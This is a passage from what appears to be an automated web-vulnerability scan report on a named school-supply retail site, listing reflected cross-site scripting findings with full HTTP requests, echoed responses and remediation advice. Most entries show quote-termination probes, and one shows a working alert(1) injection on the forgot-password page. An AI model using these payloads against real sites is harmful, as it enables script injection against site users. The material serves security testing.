GET /Help73f80'%3bc08c41b6d15/HelpFAQWindowedTopic.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:58:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123317
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Help73f80';c08c41b6d15/HelpFAQWindowedTopic.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a8a65'%3b2c1f898d0cd was submitted in the REST URL parameter 2. This input was echoed as a8a65';2c1f898d0cd in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Help/HelpFAQWindowedTopic.aspxa8a65'%3b2c1f898d0cd HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123665
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... on pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Help/HelpFAQWindowedTopic.aspxa8a65';2c1f898d0cd'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15b21'%3b1c3bccf3d95 was submitted in the REST URL parameter 1. This input was echoed as 15b21';1c3bccf3d95 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount15b21'%3b1c3bccf3d95/ForgotPassword.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/MyAccount15b21';1c3bccf3d95/ForgotPassword.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a1ae'%3b87e264cb0b3 was submitted in the REST URL parameter 2. This input was echoed as 4a1ae';87e264cb0b3 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount/ForgotPassword.aspx4a1ae'%3b87e264cb0b3 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... ion pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/MyAccount/ForgotPassword.aspx4a1ae';87e264cb0b3'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.29. http://www.discountschoolsupply.com/MyAccount/ForgotPassword.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/MyAccount/ForgotPassword.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fbe8d'-alert(1)-'d5a780dc49d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /MyAccount/ForgotPassword.aspx?fbe8d'-alert(1)-'d5a780dc49d=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 131003
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'MyAccount/ForgotPassword.aspx?fbe8d'-alert(1)-'d5a780dc49d=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60977'%3b31869978e60 was submitted in the REST URL parameter 1. This input was echoed as 60977';31869978e60 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOut60977'%3b31869978e60/ZipPopOut.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/PopOut60977';31869978e60/ZipPopOut.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3d8e'%3bce8eb0726b6 was submitted in the REST URL parameter 2. This input was echoed as e3d8e';ce8eb0726b6 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOut/ZipPopOut.aspxe3d8e'%3bce8eb0726b6 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:38:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... > function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/PopOut/ZipPopOut.aspxe3d8e';ce8eb0726b6'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce2e9'%3b46be01c214d was submitted in the REST URL parameter 1. This input was echoed as ce2e9';46be01c214d in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOutce2e9'%3b46be01c214d/emailfriendPopOut.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:58:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123472
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/PopOutce2e9';46be01c214d/emailfriendPopOut.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31d0f'%3b38b6572002a was submitted in the REST URL parameter 2. This input was echoed as 31d0f';38b6572002a in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /PopOut/emailfriendPopOut.aspx31d0f'%3b38b6572002a HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... ion pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/PopOut/emailfriendPopOut.aspx31d0f';38b6572002a'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9bfdc'%3b859a6ab83bb was submitted in the REST URL parameter 1. This input was echoed as 9bfdc';859a6ab83bb in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product9bfdc'%3b859a6ab83bb/NotifyMe.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Product9bfdc';859a6ab83bb/NotifyMe.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71cd7'%3b085fb865da7 was submitted in the REST URL parameter 2. This input was echoed as 71cd7';085fb865da7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product/NotifyMe.aspx71cd7'%3b085fb865da7 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... > function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Product/NotifyMe.aspx71cd7';085fb865da7'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ecb29'%3b4862e8d5efe was submitted in the REST URL parameter 1. This input was echoed as ecb29';4862e8d5efe in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Productecb29'%3b4862e8d5efe/PrintProductDetail.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 03:59:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123601
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Productecb29';4862e8d5efe/PrintProductDetail.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11547'%3b864c55dddaf was submitted in the REST URL parameter 2. This input was echoed as 11547';864c55dddaf in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
